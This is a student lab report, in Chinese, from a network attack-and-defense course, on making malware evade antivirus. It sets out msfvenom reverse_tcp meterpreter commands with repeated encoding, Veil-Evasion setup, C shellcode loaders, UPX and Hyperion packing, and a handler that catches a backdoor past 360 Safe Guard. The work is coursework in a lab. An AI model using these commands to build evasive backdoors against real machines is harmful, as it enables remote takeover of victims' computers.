20222405 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 实践任务

(1)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧

(2)通过组合应用各种技术实现恶意代码免杀

(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

1.2 问题回答

（1）杀软是如何检测出恶意代码的？

特征码检测：比对已知恶意软件的特定字节模式，检测已知威胁。

启发式检测：分析文件的结构和行为特征，发现新型或变种威胁。

行为分析：在沙盒中执行文件，观察其是否有恶意行为。

（2）免杀是做什么？

“免杀”是指恶意软件通过一些手段，逃避杀毒软件的检测，从而提高感染成功率。这些技术通过隐藏或动态改变恶意代码的特征，使其难以被特征码匹配、行为分析或沙盒检测发现。

（3）免杀的基本方法有哪些？

代码混淆：修改代码结构或指令顺序，隐藏特征码。

加壳与加密：使用加密或压缩技术包装恶意软件，掩盖其真实内容。

自修改代码：让代码在运行时动态变化，规避静态分析。

反沙盒与反调试：检测是否在虚拟环境或调试器中运行，避免被分析。

2.实验过程

任务一 正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器，使用msfvenom生成如jar之类的其他文件

先看一下实验二生成的后门程序

在virustotal网站检测后结果如下图

我们可以看出，没有经过处理的后门程序可以很容易地被杀毒软件检测出来

所以有必要对文件操作一下了

用msf编码器对后门程序进行编码

先输入msfvenom --list formats查看支持的输出格式

可以看到支持很多格式

生成后门程序，输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao.exe

输入msfvenom --list encoders查看支持的编码方式

生成一次编码的后门程序，输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-2.exe

看起来一次编码没什么效果

生成十次编码的后门程序，输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2405 -f exe > 20222405chuzhehao-3.exe

只能说光编码没什么大用

生成jar文件，输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f jar > 20222405chuzhehao-4.jar

再进行编码，输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f jar > 20222405chuzhehao-5.jar

生成elf文件，输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -f elf > 20222405chuzhehao-6.elf

再进行编码，输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2405 -e x86/shikata_ga_nai -i 10 -f elf > 20222405chuzhehao-7.elf

可以看到效果好了很多

使用veil，加壳工具

首先安装veil

依次输入命令

mkdir -p ~/.cache/wine

cd ~/.cache/wine

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi

wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*

sudo apt-get install libavutil55*

sudo apt-get install gcc-mingw-w64*

sudo apt-get install wine32

然后接着输入

apt-get install veil

cd /usr/share/veil/config/

vim setup.sh

打开文件后将第260行的下载地址改为https://gitee.com/spears/VeilDependencies.git

输入命令veil进行安装

一路安装或更新各种程序

成功安装veil

输入命令use evasion，进入veil—Evasion

输入命令list，查看能用的payload类型

我们使用第七个c/meterpretermrev_tcp.py，输入命令use 7

先看下虚拟机ip地址

、

依次输入命令

set LHOST 192.168.146.128

set LPORT 2405

generate

把生成的文件命名为20222405veil

输入命令

cd /var/lib/veil/output/compiled/

ls

查看生成的文件

对20222405veil.exe进行检测

使用C + shellcode编程

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=2405 -f c

编写C语言文件20222405.c

将生成的buf[]数组放入文件中

输入命令i686-w64-mingw32-g++ 20222405.c -o 20222405.exe将C语言文件编译为可执行文件

对20222405.exe进行检测

upx加壳

输入命令upx 20222405.exe -o upx20222405.exe

hyperion加壳

输入命令wine hyperion.exe -v upx20222405.exe hyperion20222405.exe

查看生成的可执行文件

对upx20222405.exe进行检测

对hyperion20222405.exe进行检测

感觉效果并不好

任务二 通过组合应用各种技术实现恶意代码免杀

原理：使用msfvenom生成Shellcode，以字节数组的形式保存，然后对Shellcode进行加密，以防止被静态分析工具直接检测到。加密后的数据被保存到文本文件中。接着用C语言编写程序，从文本文件中读取加密数据并实现解密，将其还原为原始Shellcode，通过函数指针和内存执行的方式运行Shellcode。最后将这个C程序编译为可在Windows上运行的.exe文件。

任务三 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

电脑环境：Windows10 x64

杀毒引擎：360安全卫士

杀软版本：V13.0.0.2236

输入msfconsole打开控制台

依次输入命令

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.146.128

set LPORT 2405

run

主机运行后门程序，输入命令ls

回连成功

3.问题及解决方案

问题1：出现下图中的报错

问题1解决方案：依次输入命令dpkg --add-architecture i386、sudo apt-get update、sudo apt-get install wine32

问题2：出现报错[!] ERROR #2-3: Can't find the wINE profile for AuotIT v3 (/var/lib/vei/wine//drive_c/program Files/AutoIt3/Aut2Exe/Aut2exe.exe).

问题2解决方案：输入sudo /usr/share/veil/config/setup.sh --force --silent

问题3：运行.exe可执行文件显示该程序无法在你的系统上运行

问题3解决方案：可执行文件是64位的，我的win10虚拟机是32位的系统，换成64位的系统即可解决

4.学习感悟、思考等

在这次实验中，Veil的安装过程非常坎坷，安装时经常卡在某个环节，甚至多次导致虚拟机崩溃，不得不重启虚拟机再从头开始操作，经过反复尝试后，我终于成功安装了Veil，但感觉虚拟机不太稳定。在实验中我尝试了多种免杀技术，虽然某些方法效果有限，但通过组合多种技术，最终显著降低了恶意代码的检测率。在这方面我还需要深入研究和提高技能。通过这次实验我了解到即使启用杀毒软件，也无法完全阻挡恶意代码的侵入。因此，确保计算机安全不能仅仅依赖杀毒软件，而是应采取多层次的防护策略，持续增强安全意识。